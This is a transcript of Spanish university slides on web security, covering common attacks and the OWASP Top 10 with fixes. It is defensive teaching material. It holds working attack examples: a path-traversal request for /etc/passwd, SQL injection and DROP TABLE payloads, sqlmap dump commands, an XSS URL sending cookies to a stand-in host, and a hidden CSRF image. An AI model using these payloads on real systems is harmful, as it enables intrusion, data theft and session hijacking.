CURSO DE SEGURIDAD WEB - ssyf.ua.es · con un ataque de diccionario, el cual ... que hagan clic...

105
Curso de seguridad WEB José Bernabeu Tello [email protected]

Transcript of CURSO DE SEGURIDAD WEB - ssyf.ua.es · con un ataque de diccionario, el cual ... que hagan clic...

CursodeseguridadWEB

José[email protected]

Índice

1. Introducción2. Losataquesmás comunes3. Los10grandesagujerosdeseguridad4. Medidasdeproteccióndeataquesweb5. Enlacesdeinterés

1.Introducción

• Contenidosdelcurso– Losataqueswebmáscomunes.– Losagujerosmástípicosdeseguridadwebycómoevitarlos.

1.Introducción

• Objetivosdelcurso– Conocerorecordarlosposiblesproblemas– Evitarcometerestoserrores

1.Introducción

• ¿Quéocurrecuandoretasahackersexpertosahackearte?(What HappensWhen You Dare Expert HackersToHackYou)

https://www.youtube.com/watch?v=F78UdORll-Q

2.Losataquesmás comunes

• Fuerzabruta• Inyeccióndescript• Inyeccióndecódigo• Spoofing• Tampering• Repudio

2.Losataquesmás comunes

• Divulgacióndeinformación• Denegacióndeservicio• Elevacióndeprivilegios• Inyeccióndeficheros• Fuzzing• Escaladodedirectorios

2.Losataquesmás comunes

• Seguridadporocultación• Secuestrodesesión• Desbordamientodebuffer• Fugadeinformación• Ingenieríasocial

2.Losataquesmás comunes

• Fuerzabruta:– Ataquequepruebatodaslascombinacionesposibleshastaencontraraquellaquepermitaelacceso.Secombinaconunataquedediccionario,elcualcontieneunlistadodepalabras,envezdegenerartodaslascombinacionesposibles.

2.Losataquesmás comunes

• Fuerzabruta:– Permiteencontrarcredencialesdeaccesoaservicios.Requieremuchotiempoypuedegenerarmucho“ruido”enlossistemas(podríabloquearausuarioslegítimosygenerarlesuna“denegacióndeservicio”).

– Ejemplo:usodeTHC-Hydra(https://www.youtube.com/watch?v=rLtj8tEmGso)

2.Losataquesmás comunes

• Inyeccióndescript:– elobjetivoeslograrinyectar enelcontextodeundominiouncódigo Javascript,VBScriptosimplementeHTML,conlafinalidaddeengañaralusuarioorealizarunaacciónnodeseadasuplantándole.Elafectadonoeselservidor(comopuedeserenunataquedeSQLInjection),sinoelusuario.

2.Losataquesmás comunes

• Inyeccióndescript:– Cross-Site Scripting(XSS)– Cross-Site Request Forgery (CSRF)– Clickjacking:engañaralosusuariosparaquehaganclicsobreelementosdeunsitioweb. Serealizasuperponiendodospáginasmedianteelusodeiframes.

2.Losataquesmás comunes

• Inyeccióndecódigo:– elusuariopuedeintroducircualquierparámetroenunaaplicación(intérpretes:SQL,LDAP,Xpath,etc.)yconseguircomportamientosnodeseados.

2.Losataquesmás comunes

• Spoofing:– obteneraccesoaunsistemaoainformaciónusandounaidentidadfalsa.Puedesersuplantación deMAC,IP,credenciales(phishing),teléfono…

– Ejemplo:esmuyfácilenviaruncorreohaciéndosepasarporotrapersona.

2.Losataquesmás comunes

• Tampering:– falsificaciónoalteracióndelainformación.Porejemplocambiandolasvariableshiddendeunformulario.

– Ejemplo:https://www.youtube.com/watch?v=3DCgPVckn1M

2.Losataquesmás comunes

• Repudio(Repudiation):– habilidaddelosusuarios(legítimosyatacantes)paranegarhaberrealizadociertasacciones.Sinunaauditoríaadecuada,losataquesderepudiosonmuydifícilesdeprobar.

2.Losataquesmás comunes

• Repudio(Repudiation):– Ejemplo:Elusuariosequejaporquealgoselehaborrado.Sinotenemosunabuenaauditoríadelasaccionesllevadasacaboporelusuario,noseráposibledemostrarquefueélmismoelqueeliminólainformación.

2.Losataquesmás comunes

• Divulgación deinformación(InformationDisclosure):– unusuarionopermitidopuedeaccederainformaciónsensible.

– Ejemplo: ponerlacadenadeconexión enuncomentariodentrodelapáginaweb.

2.Losataquesmás comunes

• Denegacióndeservicio(Denial ofService):– ataquesquecausanquelosserviciosofrecidosporunaorganizaciónnoesténdisponiblesparalosusuarioslegítimos.

– Top10deataquesDDoS:https://openwebinars.net/blog/top-10-de-ataques-dos-denial-of-service-o-denegacion-de-servicios/

2.Losataquesmás comunes

• Elevacióndeprivilegios(Elevation ofPrivilege):– unusuariopuedecambiarsuniveldeprivilegiosdentrodeunsistemaparaaccederainformaciónoserviciosqueestánrestringidosparasuidentidad.

– Más adelanteveremosejemplosdeesteataqueaplicadoanuestrasapps(A7).

2.Losataquesmás comunes

• Inyeccióndeficheros:– ejecutarcódigoremotodentrodelaaplicaciónvulnerable.Sebasaenlaideadeque,aligualqueesposiblecargarunficherolocalparasuinclusióndentrodeunapágina,sepodríacargarunoremotoquecontuviesecódigomalicioso.

2.Losataquesmás comunes

• Fuzzing:– diferentestécnicasdetesteodesoftwarecapacesdegeneraryenviardatossecuencialesoaleatoriosaunaovariasáreasopuntosdeunaaplicación,conelobjetodedetectardefectosovulnerabilidadesexistentesenelsoftwareauditado.

2.Losataquesmás comunes

• Fuzzing:– esutilizadocomocomplementoalasprácticashabitualesdechequeodesoftware,yaqueproporcionancoberturaafallosdedatosyregionesdecódigonotestados,graciasalacombinacióndelpoderdelaaleatoriedadyataquesheurísticosentreotros.

2.Losataquesmás comunes

• Escaladodedirectorios(Path Travesal):– ataquequevaalograraccederainformaciónreferentealservidor,desdesimplementeeldirectoriodondeseestáejecutandolaaplicaciónwebhastalogrardescargarficherosdelservidor.

2.Losataquesmás comunes

• Escaladodedirectorios(Path Travesal):– Ejemplo:TenemoselsiguientearchivoPHP

<?php$template ='blue.php';if (isset($_COOKIE['TEMPLATE']))

$template =$_COOKIE['TEMPLATE'];include ("/home/users/phpguru/templates/".$template );

?>

2.Losataquesmás comunes

• Escaladodedirectorios(Path Travesal):– Ejemplo:RealizandolasiguientellamadaporHTTPmodificada:

GET/vulnerable.php HTTP/1.0Cookie:TEMPLATE=../../../../../../../../../etc/passwd

– Elpropioservidornosdevolvería todoelcontenidodelficherodepasswords.

2.Losataquesmás comunes

• Seguridadporocultación:– usoporpartedelosprogramadoresdedirectoriosespecíficosparaactividadesespecíficascomolaadministración,zonasdepruebasosubidadeficherostemporales.

2.Losataquesmás comunes

• Seguridadporocultación:– estosdirectoriossepuedendescubrirmediantepruebasmanualesohaciendousodealgúnprogramatipofuzzer querealicelaspeticionespornosotros.

2.Losataquesmás comunes

• Secuestrodesesión(Hijacking):– ataquequeconsisteenhacersecargodeunasesióndeusuariowebmediantelaobtencióndesuidentificadordesesión,loquepermiteactuarcomosifueseelusuariolegítimo.ElidentificadordesesiónsesuelealmacenarenunacookieoURL.

2.Losataquesmás comunes

• Secuestrodesesión(Hijacking):– Ejemplo: VeremoselejemplocuandoabordemoselagujeroA2.

2.Losataquesmás comunes

• Desbordamientodebuffer(BufferOverflow):– seproducecuandounprogramanocontrolaadecuadamentelacantidaddedatosquesecopiansobreunáreadememoriareservadaatalefecto(buffer).

2.Losataquesmás comunes

• Desbordamientodebuffer(BufferOverflow):– Sidichacantidadessuperioralacapacidadpreasignada,losbytessobrantessealmacenanenzonasdememoriaadyacentes,sobrescribiendosucontenidooriginal,queprobablementepertenecíanadatosocódigoalmacenadosenmemoria.Estoconstituyeunfallodeprogramación.

2.Losataquesmás comunes

• Fugadeinformación (info leak):– Salidanocontroladadeinformaciónquehacequeestallegueapersonasnoautorizadasosobrelaquesuresponsablepierdeelcontrol.

2.Losataquesmás comunes

• Fugadeinformación (info leak):– Ejemplo:EnPHPtenemosuncódigodeestaforma:

<?php$dsn =‘CADENADECONEXIÓN’;$user =‘jreamdesign’;$password =‘superSecretPass’;

//ConectamosalaBD$dbh =newPDO($dsn,$user,$password)

?>

https://www.youtube.com/watch?v=sR9HC0z5dwI

2.Losataquesmás comunes

• Fugadeinformación (info leak):– Ejemplo:ElcódigofuncionaperfectamentehastaqueundíasenoscaelaBDysemuestraelsiguienteerror:

2.Losataquesmás comunes

• Fugadeinformación (info leak):– Ejemplo:Parahacerlocorrectamente:<?php

$dsn =‘CADENADECONEXIÓN’;$user =‘jreamdesign’;$password =‘superSecretPass’;//ConectamosalaBDtry{

$dbh =newPDO($dsn,$user,$password)}catch(PDOException $e){

echo“Database error”;}

?>

2.Losataquesmás comunes

• Ingenieríasocial:– Noprecisademediostelemáticos.– Convenceraunapersonapararealizaruncambioorevelarunainformación quenodebería,haciéndonospasarporotrapersona.

2.Losataquesmás comunes

• Ingenieríasocial:Ejemplo– ¿Quénecesitamosparaobtenerlacontraseñadeunapersonadelauniversidad?

3.Los10grandesagujerosdeseguridad

• OpenWebApplication SecurityProject(OWASP)esunacomunidadquesededicaarealizarencuestasybuscarlosagujerosdeseguridadenlaweb.

• Últimoinformede2013https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=Main

3.Los10grandesagujerosdeseguridad

• A1 – Injection (Inyección)• A2 – BrokenAuthenticationandSessionManagement

(PérdidadeAutenticaciónyGestióndeSesiones)• A3 – Cross-Site Scripting(XSS)(Secuenciade

ComandosenSitiosCruzados)• A4 – Insecure Direct Object References (Referencia

DirectaInseguraaObjetos)• A5 – SecurityMisconfiguration (Configuraciónde

SeguridadIncorrecta))

3.Los10grandesagujerosdeseguridad

• A6 – Sensitive DataExposure (ExposicióndeDatosSensibles)

• A7 – Missing Function Level AccessControl(AusenciadeControldeAccesoalasFunciones)

• A8 – Cross-Site Request Forgery (CSRF)(FalsificacióndePeticionesenSitiosCruzados)

• A9 – Using Known VulnerableComponents (UsodeComponentesconVulnerabilidadesConocidas)

• A10 – Unvalidated Redirects andForwards(Redireccionesyreenvíosnovalidados)

A1- Injection

• Losproblemasdeinyección,talescomodeSQL,OS,yLDAP,ocurrencuandodatosnoconfiablessonenviadosaunintérpretecomopartedeuncomandooconsulta.Losdatoshostilesdelatacantepuedenengañaralinterpreteenejecutarcomandosnointencionadosoaccederadatosnoautorizados.

A1- Injection

• Ejemplo:– SitenemosunapáginawebqueaceptaunparámetroporGETdelestilo:

http://testphp.vulnweb.com/product.php?pic=

– Yeseparámetroseintroducedirectamenteenlaconsultasinningúncontrol,comoenesteejemplo:

String sSql ="SELECT*FROMproducts WHEREproductID=”+Request.Querystring(“pic”);_oBD.TextoComando =sSql;

A1- Injection

• Ejemplo:– Nospodremosencontrarenquenosintroduzcanelsiguienteparámetro:

pic=1or 1=1– Quedandolaconsultadelasiguientemanera:

SELECT*FROMproducts WHEREproductID=1or 1=1

– Obteniendotodoslosproductosdelatabla

A1- Injection

• Ejemplo:– Tambiéndebemostenerencuentaque,esposibleintroducirdirectamenteaccionescomoenelsiguienteparámetro:

pic=1;DROPTABLEproducts;--

A1- Injection

• EjemploSQLMap:– ObtenernombreDatabaseSqlmap –uhttp://testphp.vulnweb.com/product.php?pic=1 --dbs– Delasbasesdedatosobtenidaspodemoselegiracuálatacar:Sqlmap –uhttp://testphp.vulnweb.com/product.php?pic=1 -Dinformation_schema --tables– ObtenemoslascolumnasSqlmap –uhttp://testphp.vulnweb.com/product.php?pic=1 -Dinformation_schema –Tuser_privileges --columns– Obtenemoslosdatosdeunatabla:Sqlmap –uhttp://testphp.vulnweb.com/product.php?pic=1 -Dinformation_schema –Tuser_privileges –Cgrantee,is_grantable,privilege_type --dump

A1- Injection

• Formadesolucionarlo:filtrartodoslosdatosdeentrada quepuedansermodificadosporunusuario(incluidosloshidden).

• Además,en.NET,seresuelveutilizandoBind Variables.

A1- Injection• ¿Cómoevitarlo?

– Filtrar todos los datos de entrada que puedan ser modificados por un usuario (incluidos los hidden).

– Además, en .NET, se resuelve utilizando BindVariables.

A2– Broken authentication andSession Management

• Muchosserviciosoaplicacioneswebtienen«memoria»,reconocenlasaccionesqueelusuarioharealizadoanteriormentecomo,porejemplo,sisetratadeunusuarioregistradoanteriormente,quéelementoshavisitado,etc.Dichodeotromodo,establecenunasesiónconelinternauta.

A2– Broken authentication andSession Management

• ElprotocoloHTTPnoestáorientadoalaconexión.

¿Cómo se mantiene la sesión en una página web?

A2– Broken authentication andSession Management

• ParamantenerlasesiónelnavegadoryelservidorwebcompartenunidentificadorúnicoqueelnavegadorwebincluyeencadapeticiónHTTPoHTTPSrealizadaalportal(generalmentemediantecookies).

A2– Broken authentication andSession Management

• Ejemplo– AccederaUACloud enproducciónconChromeconvuestrousuario.

A2– Broken authentication andSession Management

• Ejemplo– Unavezdentrovolvedalapágina:

https://autentica.cpd.ua.es/cas/login

Osdiráqueyaestáislogueados enelsistema

A2– Broken authentication andSession Management

• Ejemplo– AhoraabrimoslaopcióndeChromeHerramientasparadesarrolladores

A2– Broken authentication andSession Management

• Ejemplo– AhoraospasarélosdoscódigosquedebéisponerenesascookiesparapoderverquepodéisaccederaUACloud comootrousuariosintenersuusuarionipassword.

A2– Broken authentication andSession Management

• Ataques– Prediccióndesesión– CapturadelidentificadoratravésdeXSS– Interceptandolacomunicación– Fijacióndesesión– Erroresenelcierredesesión

A2– Broken authentication andSession Management

• PrediccióndesesiónEstetipodeataquesecentraengenerarunidentificadorválido.Paraello,elatacanteaprovechalospatronesdegeneracióndeidentificadoresdesesiónquepuedautilizarelservidory,unavezreducidoelespaciodebúsqueda,pruebatodaslasposibilidadesmediantefuerzabruta.

A2– Broken authentication andSession Management

• Prediccióndesesión:solución– Aleatorizaciónylongitudsuficientedelidentificadordesesión.Comoejemplo,PHPutilizacomoidentificadorunhashde16o20bytescreadoapartirdeunacadenadetextoquesecomponede:• LadirecciónremotadelclienteHTTP.• Informacióndeltiempodeejecución.• Datosaleatorios.

A2– Broken authentication andSession Management

• CapturadelidentificadoratravésdeXSSSiunapáginawebpresentaunavulnerabilidadCross-Site Scripting(XSS)unatacantepuedeaprovecharlaparaejecutarcódigoquecaptureelcontenidodelacookieyseloenvíe.

A2– Broken authentication andSession Management

• CapturadelidentificadoratravésdeXSS:solución– Activarlaopciónhttponly enelservidorweb.

– DeshabilitarelmétodoTRACE.– SolucionarlavulnerabilidadXSS

A2– Broken authentication andSession Management

• InterceptandolacomunicaciónSisepuedeinterceptareltráficoweb(sinovasecurizado)entrelavíctimayelportalweb,ahoramásquenuncaporelaugedelascomunicacionesinalámbricas,elidentificadordesesióntambiénsepuedecapturar.

A2– Broken authentication andSession Management

• Interceptandolacomunicación:solución– UtilizarelprotocoloHTTPSparaquelacomunicaciónseacifrada.

– ParalascookiesdesesiónactivarlaopciónsecurequeevitaqueelnavegadorpuedaenviarlacookieporHTTPy,portanto,seaposibleobtenerlainterceptandoeltráfico.

– Comoenelataque“Prediccióndesesión”,asociarelidentificadorainformacióndelusuarioúnicacomosudirecciónIP.

A2– Broken authentication andSession Management

• FijacióndesesiónGeneraunidentificadorgenuinoenelportalwebafectadopara,acontinuación,tratardequelavíctimaseautentiqueenelportalconél.Deestemodo,elatacanteobtieneunidentificadordeunusuarioautenticadoquepuedeutilizarpararealizaraccionesenelportalafectadoennombredelavíctima.

A2– Broken authentication andSession Management

• Fijacióndesesión

A2– Broken authentication andSession Management

• Fijacióndesesión:solución– Renovarelidentificadoralautenticarseelusuariooasignarloúnicamentedespuésdelaautenticación.

– Permitirúnicamenteelidentificadorencookies.

– AsociarelidentificadorainformacióndelusuarioúnicacomosudirecciónIP.

A2– Broken authentication andSession Management

• ErroresenelcierredesesiónVisitarlaswebsdelhistóricodelnavegador(enordenadorescompartidos).Silavíctimaolvidócerrarsesiónoelcierredesesiónnoserealizódemaneracorrecta,elatacantepuedeaccederalsitiowebennombredelavíctimasilasesiónnohaexpirado.

A2– Broken authentication andSession Management

• ErroresenelcierredesesiónElmismoproblemaesposiblesielservidor,aunqueelusuariocierresesión,reutilizaelidentificadordesesiónenunnuevoiniciodesesión.Elatacantesólotienequeesperaraquelavíctimainiciesesiónparapoderutilizarelidentificadorcapturado.Lomismosucedesielservidornoinvalidaelidentificadoranteelcierredelasesión.

A2– Broken authentication andSession Management

• Erroresenelcierredesesión:solución– Estableceruntimeout desesión– Estableceruntiempomáximodevalidezdesesión

– Utilizarcookiesnopersistentes– Invalidarlosidentificadoresdesesión– Noreutilizarlosidentificadoresdesesión

A3– Cross-Site Scripting• ConsisteeninyectarcódigoHTMLoJavascriptenunaaplicaciónweb,conelfindequeelnavegadordeunusuarioejecuteelcódigoinyectadoalmomentodeverlapáginaalterada.

• Esunavulnerabilidadmuycomúnhoyendía.• Estavulnerabilidadcompromete,másquenada,laseguridaddelusuarioynoladelservidor.

A3– Cross-Site Scripting• ¿Comoselogra?

• LoprimeroesconseguirinyectarcódigoHTMLalaweb,esdecir,incluirHTMLescritopornosotrosenelcódigofuentedelapáginaquequeremosatacar.

• Elmétodomássencilloyhabitual:usodelosformularios.

A3– Cross-Site Scripting• ¿Comosabersisepermite?

• Buscamosunformulariodeunaaplicación.• Añadimosenelformulariouncódigoscript:

<script>alert(document.cookie);</script>

• Enviamoselformularioyvemossi,alaccederalapáginadondesemuestralainformacióndelformulario,aparecelaalertaintroducida.

A3– Cross-Site Scripting• Tiposdeataques

• DOM-Based XSSoXSSlocal• XSSnopersistente• XSSpersistente

A3– Cross-Site Scripting

• DOM-Based XSSoXSSlocalLadiferenciaestetipodeXSSylosotrostiposdeataque,esqueelcódigoseinyectaatravésdelaURL peronoseincluyeenelcódigofuentedelapágina.Seaprovechadequedespués deunsostenido(#)laURLnoesparseada comotal.

A3– Cross-Site Scripting

• DOM-Based XSSoXSSlocal:EjemploSitenemosunapágina(http://www.example.com/test.html) cuyocódigointernotieneunscriptJavascript comoeste:<script>document.write("<b>Current URL</b>:"+

document.baseURI);</script>

A3– Cross-Site Scripting

• DOM-Based XSSoXSSlocal:EjemploPodemospasaralaURLdeesapáginaelsiguientecódigo:

http://www.example.com/test.html#<script>alert(1)</script>

Silavictimalopulsa,conseguiremosqueseejecuteelcódigoJavascript quelehemospasadocomoparámetro.

A3– Cross-Site Scripting

• XSSnopersistenteSucedecuandounservidorgeneraunapáginainstantáneaderesultadosdeacuerdoainformaciónproporcionadaporelnavegador(ejemplo:unabúsqueda).Silosdatosproporcionadosporelnavegadornosonvalidadosyseincluyenenelcódigofuentedelapágina,hayXSS.

A3– Cross-Site Scripting

• XSSnopersistente:EjemploTenemosunaweb(http://www.myblog.com)conunapartadoparaloguearse y,alusarlamucho,tenemosactivadoqueseguardelacookie.Tambiéntenemosunaopción debúsquedadeltipo:http://www.myblog.com/searchresult.php?text=

A3– Cross-Site Scripting

• XSSnopersistente:EjemploElatacanteformaunaURLparaexplotarlavulnerabilidaddelasiguienteforma:

http://www.myblog.com/searchresult.php?text=<script>window.location=’http://miweb.com/xss.php?cookie=’+document.cookie</script>

A3– Cross-Site Scripting

• XSSpersistenteLadiferenciadeestecross-site scriptingalosanteriores,esquelainyecciónsehaceenunapáginaestática.Lainformaciónproporcionadaporelusuarioesalmacenadaenlabasededatos,enelsistemadearchivosoalgúnotrolugar;despuésesmostradaaotrosusuariosquevisitenlapágina,poresosedicequelavulnerabilidad“persiste”.

A3– Cross-Site Scripting

• XSSpersistenteElejemploeselquehemosvistoenlaintroduccióndelXSSdeatacarmedianteunformulario.

A3– Cross-Site Scripting

• ¿Cómoevitarlo?• Codificar los datos no confiables• Limpiar el código HTML

A4– Insecure Direct ObjectReferences

• Unareferenciadirectaaobjetosocurrecuandoundesarrolladorexponeunareferenciaaunobjetodeimplementacióninterno,talcomounfichero,directorio,obasededatos.Sinunchequeodecontroldeaccesouotraprotección,losatacantespuedenmanipularestasreferenciasparaaccederadatosnoautorizados.

A4– Insecure Direct ObjectReferences

• Ejemplo:– EnunaaplicacióndeUACloud usamosbindvariablesparaevitarSQLInjection ytenemoselsiguientecódigo:

String sSql ="SELECT*FROMaccts WHEREaccount =:pCuenta";_oBD.TextoComando =sSql;_oBD.CrearParametro("pCuenta",OracleDbType.Int64,

System.Data.ParameterDirection.Input,0,pCuenta);

¿Qué problema podemos tener?

A4– Insecure Direct ObjectReferences

• Ejemplo:Elproblemaconelquenosencontramosesquecambiandoelnúmerodelparámetro(pCuenta)podríamosaccederalainformacióndecualquiercuentadelaBD.

¿Cómo lo resolvemos?

A4– Insecure Direct ObjectReferences

• Ejemplo:Pararesolverlobastaríaconnosolopreguntarporelnúmerodecuenta,sinoasegurarnosqueelusuarioquelanzalaconsultaeseldueñodelacuentaquequierever.

String sSql ="SELECT*FROMaccts WHEREaccount =:pCuenta andowner =:pOwner";_oBD.TextoComando =sSql;_oBD.CrearParametro("pCuenta",OracleDbType.Int64,System.Data.ParameterDirection.Input,0,pCuenta);_oBD.CrearParametro("pOwner",OracleDbType.Int64,System.Data.ParameterDirection.Input,0,pOwner);

A4– Insecure Direct ObjectReferences

• ¿Cómoevitarlo?• Comprobar el acceso a los datos verificando

que está autorizado.• Utilizar referencias indirectas, nunca dejar

acceder directamente a los recursos sino a través de páginas controladas y con códigos específicos finitos.

A7– Missing Function LevelAccessControl

• Lamayoríadeaplicacioneswebverificanlosderechosdeaccesoaniveldefunciónantesdehacervisibleenlamismainterfazdeusuario.Apesardeesto,lasaplicacionesnecesitanverificarelcontroldeaccesoenelservidorcuandoseaccedeacadafunción.Silassolicitudesdeaccesonoseverifican,losatacantespodránrealizarpeticionessinlaautorizaciónapropiada.

A7– Missing Function LevelAccessControl

• Ejemplo:UnusuariodeunappdeUACloud quesolotienepermisosparavisualizarcontenido(porejemplounalumnoenelappGuíasDocentes).EsteusuariopuedeprobarnuevasURL’s conociendocomoseprogramanotrasopcionesusandonombressimilaresyencontrarunaURLdelestilo:

https://cvnet.cpd.ua.es/guiadocente/Contexto/Modificar

A7– Missing Function LevelAccessControl

• Ejemplo:Enunprincipio,esteusuarionotienepermisoparaesaopción,perosinosecontrolaencadapáginaquesolopuedanentrarlaspersonasconpermisos,podríaejecutarlaURLeintentarmodificarelcontexto.

if(!PDIs.ComprobarAcceso()){

returnRedirectToAction("HttpNoAcceso","Error");}

A7– Missing Function LevelAccessControl

• ¿Cómoevitarlo?• Controlar en cada acceso si el usuario tiene

permiso.• Controlar en los procedimientos de la BD si el

usuario tiene permiso.

A8– Cross-Site Request Forgery

• Esunataquequefuerzaalnavegadorwebdesuvíctima,validadoenalgúnservicio(comoporejemplocorreo,itunes,paginasdebanca,etc.)aenviarunapeticiónaunaaplicacióndeeseservidorparaquerealiceuncambioporejemploenelperfildeeseusuario.

A8– Cross-Site Request Forgery

• AlcontrariodelXSS,enelqueelusuariose“fia”delservidor,enesteataqueelservidorse“fia”delusuario

A8– Cross-Site Request Forgery

• Ejemplo• Supongamosqueelusuarioestalogueadoenlapágina Webdesubanco(otienelascredencialeslogueadas,memorizadasenelnavegador)

A8– Cross-Site Request Forgery

• Ejemplo• Vemosqueporejemplo,pararealizarunatransferencianuestronavegadorenvíaelsiguientecomando(conunproxyosnniferlopodemoscapturar)

GEThttp://bank.com/transfer.do?acct=BOB&amount=100HTTP/1.1

• TransferimosaBOBlacantidadde100€(muysimpleeirrealperonosvaleJ)

A8– Cross-Site Request Forgery

• Ejemplo• Nosotroscomoatacantes(yclientesdelbanco)conocemoscomofuncionaydecidimosenviarlealavictimaunmailconcódigoHTMLoculto(porejemploenunmail)

<imgsrc="http://bank.com/transfer.do?acct=YOMISMO&amount=100000"width="0"height="0"border="0">

A8– Cross-Site Request Forgery

• Ejemplo• ¿Quéocurrirá?Cuandolavictimahaabiertoelmail,sunavegadorhainterpretadoelcódigo…ycomosuscredencialesyaestaban“logueadas”conelnavegador,haidoaladirecciónocultadelcódigoquelediceasubancoquemehagaunatransferenciade100.000€

Estoevidentementeesunejemplomuysimpleperoqueayudaaentenderlavulnerabilidad.

A8– Cross-Site Request Forgery

• ¿Cómoevitarlo?• Configurar el navegador para que no recuerde usuarios y

contraseñas. El modo incógnito es una buena alternativa.• Recordar cerrar la sesión cuando ya no se vaya a hacer uso de la

aplicación y/o servicio.• Se recomienda no utilizar la funcionalidad de aplicaciones web que

permiten mantener la sesión abierta o recordar sesión.• Utilizar diferentes navegadores, uno para información sensible y

otro para navegación en general.• Utilizar complementos que bloqueen la ejecución de scripts. Así los

formularios que se envíen por el metodo POST, no podrán ser enviados automáticamente sin el consentimiento del usuario.

A10– Unvalidated Redirects andForwards

• Lasaplicacioneswebfrecuentementeredirigenyreenvíanalosusuarioshaciaotraspáginasositiosweb,yutilizandatosnoconfiablesparadeterminarlapáginadedestino.

• Sinunavalidaciónapropiada,losatacantespuedenredirigiralasvíctimashaciasitiosdephishing omalware,outilizarreenvíosparaaccederpáginasnoautorizadas.

A10– Unvalidated Redirects andForwards

• Ejemplos– Sinuestraaplicacióntenemosunapáginaparagenerarredirects querecibeunparámetrourl:

http://www.example.com/redirect.aspx?url=evil.com

– Unusuariomalintencionadopuedeusarloparaengañaralusuariohaciéndolecreerquepulsandovaanuestrodominio,peroreenviándoloaunapáginadondesehagaphishing.

A10– Unvalidated Redirects andForwards

• ¿Cómoevitarlo?• Evitando el uso de reenvíos siempre que sea

posible.• Si lo utilizamos, no poner parámetros

fácilmente manipulables por el atacante.• Si los parámetros de destino no pueden ser

evitados, asegúrese que el valor suministrado sea válido y autorizado para el usuario.

4.Medidasdeproteccióndeataquesweb

• Medidasatenerencuentaeneldesarrollodelasaplicacionesweb– Validardatosdeentradaysalida(SQLInjection,XSS).

– Unaúnicalibreríaqueseencarguedefiltrarcualquierentradadeusuario(ClaseSeguridad)

– Consultasparametrizadas (bind variables).

4.Medidasdeproteccióndeataquesweb

• Medidasatenerencuentaeneldesarrollodelasaplicacionesweb– UsodelmétodoGET deHTTPsóloparalaconsultadeinformación,yelmétodoPOSTparaelintercambioyenvíodeinformaciónporpartedelosclientesalaaplicaciónweb.

4.Medidasdeproteccióndeataquesweb

• Medidasatenerencuentaeneldesarrollodelasaplicacionesweb– Lascabeceras HTTPpuedensermanipuladasfácilmenteporunatacanteynodebenemplearsecomométododevalidaciónodeenvíodeinformación.

– Homogeneizarpáginasdeerrorenproducción.Evitaofrecerdatosdelossistemasinternos.

4.Medidasdeproteccióndeataquesweb

• Medidasatenerencuentaeneldesarrollodelasaplicacionesweb– Políticadecontraseñas robustas.– Evitarprotocolosinseguros,comoHTTP,Telnet,FTP,etc.Cifrar lascomunicaciones(TLS,noSSL).

– Evitarla“subida”deficheros.Sinoesposible,securizar elproceso.

5.Enlacesdeinterés

• What Happens When You Dare ExpertHackersToHack Youhttps://www.youtube.com/watch?v=F78UdORll-Q

• Peligrosycontramedidas:https://msdn.microsoft.com/en-us/library/ff648641.aspx

• EjemplosXSS:https://www.youtube.com/watch?v=o3Fc92TMheo

• EjemploCSRF:https://www.youtube.com/watch?v=8Z4CaC2R-8E